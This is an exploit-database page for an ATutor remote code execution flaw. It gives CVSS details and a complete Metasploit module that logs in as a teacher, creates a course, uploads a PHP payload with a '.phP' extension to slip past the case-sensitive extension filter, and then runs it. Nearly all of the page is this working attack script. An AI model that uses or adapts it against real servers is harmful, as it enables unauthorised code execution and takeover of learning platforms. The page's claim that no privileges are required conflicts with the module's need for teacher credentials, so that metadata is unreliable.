ATutor file_manager Remote Code Execution
CVE
Category
Price
Severity
CVE-2019-14941
CWE-94
Not specified
High
Author
Risk
Exploitation Type
Date
Chompie
High
Remote
2019-04-14
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019040107 Below is a copy:
ATutor file_manager Remote Code Execution ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "ATutor < 2.2.4 'file_manager' Remote Code Execution",
'Description' => %q{
This module allows the user to run commands on the server with teacher user privilege.
The 'Upload files' section in the 'File Manager' field contains arbitrary file upload vulnerability.
The "$IllegalExtensions" function has control weakness and shortcomings.
It is possible to see illegal extensions within "constants.inc.php". (exe|asp|php|php3|php5|cgi|bat...)
However, there is no case-sensitive control. Therefore, it is possible to bypass control with filenames such as ".phP", ".Php"
It can also be used in dangerous extensions such as "shtml" and "phtml".
The directory path for the "content" folder is located at "config.inc.php".
For the exploit to work, the "define ('AT_CONTENT_DIR', 'address')" content folder must be located in the web home directory or the address must be known.
This exploit creates a course with the teacher user and loads the malicious php file into server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <zkan Mustafa Akku>', # Discovery & PoC & MSF Module
],
'References' =>
[
[ 'CVE', '' ],
[ 'URL', 'http://pentest.com.tr/exploits/ATutor-2-2-4-file-manager-Remote-Code-Execution-Injection-Metasploit.html' ],
[ 'URL', 'https://atutor.github.io/' ],
[ 'URL', 'http://www.atutor.ca/' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => '09 April 2019',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
OptString.new('USERNAME', [true, 'The Teacher Username to authenticate as']),
OptString.new('PASSWORD', [true, 'The Teacher password to authenticate with']),
OptString.new('CONTENT_DIR', [true, 'The content folder location', 'content'])
],self.class)
end
def exec_payload
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}", @course_id, "#{@fn}")
})
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
##
# Version and Vulnerability Check
##
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}/")
})
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
if res.code == 404
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
##
# csrftoken read and create a new course
##
def create_course(cookie, check)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php"),
'headers' =>
{
'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php",
'cookie' => cookie,
},
'agent' => 'Mozilla'
})
if res && res.code == 200 && res.body =~ /Create Course: My Start Pag/
@token = res.body.split('csrftoken" value="')[1].split('"')[0]
else
return false
end
@course_name = Rex::Text.rand_text_alpha_lower(5)
post_data = Rex::MIME::Message.new
post_data.add_part(@token, nil, nil,'form-data; name="csrftoken"')
post_data.add_part('true', nil, nil, 'form-data; name="form_course"')
post_data.add_part(@course_name, nil, nil, 'form-data; name="title"')
post_data.add_part('top', nil, nil, 'form-data; name="content_packaging"')
post_data.add_part('protected', nil, nil, 'form-data; name="access"')
post_data.add_part('Save', nil, nil, 'form-data; name="submit"')
data = post_data.to_s
res = send_request_cgi({
'method' => 'POST',
'data' => data,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php")
})
location = res.redirection.to_s
if res && res.code == 302 && location.include?('bounce.php?course')
@course_id = location.split('course=')[1].split("&p")[0]
return true
else
return false
end
end
##
# Upload malicious file // payload integration
##
def upload_shell(cookie, check)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "bounce.php?course=" + @course_id),
'headers' =>
{
'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php",
'cookie' => cookie,
},
'agent' => 'Mozilla'
})
ucookie = "ATutorID=#{$2};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*);/
file_name = Rex::Text.rand_text_alpha_lower(8) + ".phP"
@fn = "#{file_name}"
post_data = Rex::MIME::Message.new
post_data.add_part('10485760', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
post_data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"uploadedfile\"; filename=\"#{file_name}\"")
post_data.add_part('Upload', nil, nil, 'form-data; name="submit"')
post_data.add_part('', nil, nil, 'form-data; name="pathext"')
data = post_data.to_s
res = send_request_cgi({
'method' => 'POST',
'data' => data,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => ucookie,
'uri' => normalize_uri(target_uri.path, "mods", "_core", "file_manager", "upload.php")
})
if res && res.code == 302 && res.redirection.to_s.include?('index.php?pathext')
print_status("Trying to upload #{file_name}")
return true
else
print_status("Error occurred during uploading!")
return false
end
end
##
# Password encryption with csrftoken
##
def get_hashed_password(token, password, check)
if check
return Rex::Text.sha1(password + token)
else
return Rex::Text.sha1(Rex::Text.sha1(password) + token)
end
end
##
# User login operations
##
def login(username, password, check)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "login.php"),
'agent' => 'Mozilla',
})
token = $1 if res.body =~ /\) \+ \"(.*)\"\);/
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/
if check
password = get_hashed_password(token, password, true)
else
password = get_hashed_password(token, password, false)
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "login.php"),
'vars_post' => {
'form_password_hidden' => password,
'form_login' => username,
'submit' => 'Login'
},
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/
if res && res.code == 302
if res.redirection.to_s.include?('bounce.php?course=0')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
return cookie
end
else res.redirection.to_s.include?('admin/index.php')
fail_with(Failure::NoAccess, 'The account is the administrator. Please use a teacher account!')
return cookie
end
end
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
return nil
end
##
# Exploit controls and information
##
def exploit
tcookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
print_good("Logged in as #{datastore['USERNAME']}")
if create_course(tcookie, true)
print_status("CSRF Token : " + @token)
print_status("Course Name : " + @course_name + " Course ID : " + @course_id)
print_good("New course successfully created.")
end
if upload_shell(tcookie, true)
print_good("Upload successfully.")
print_status("Trying to exec payload...")
exec_payload
end
end
end
##
# The end of the adventure (o_O) // AkkuS
##
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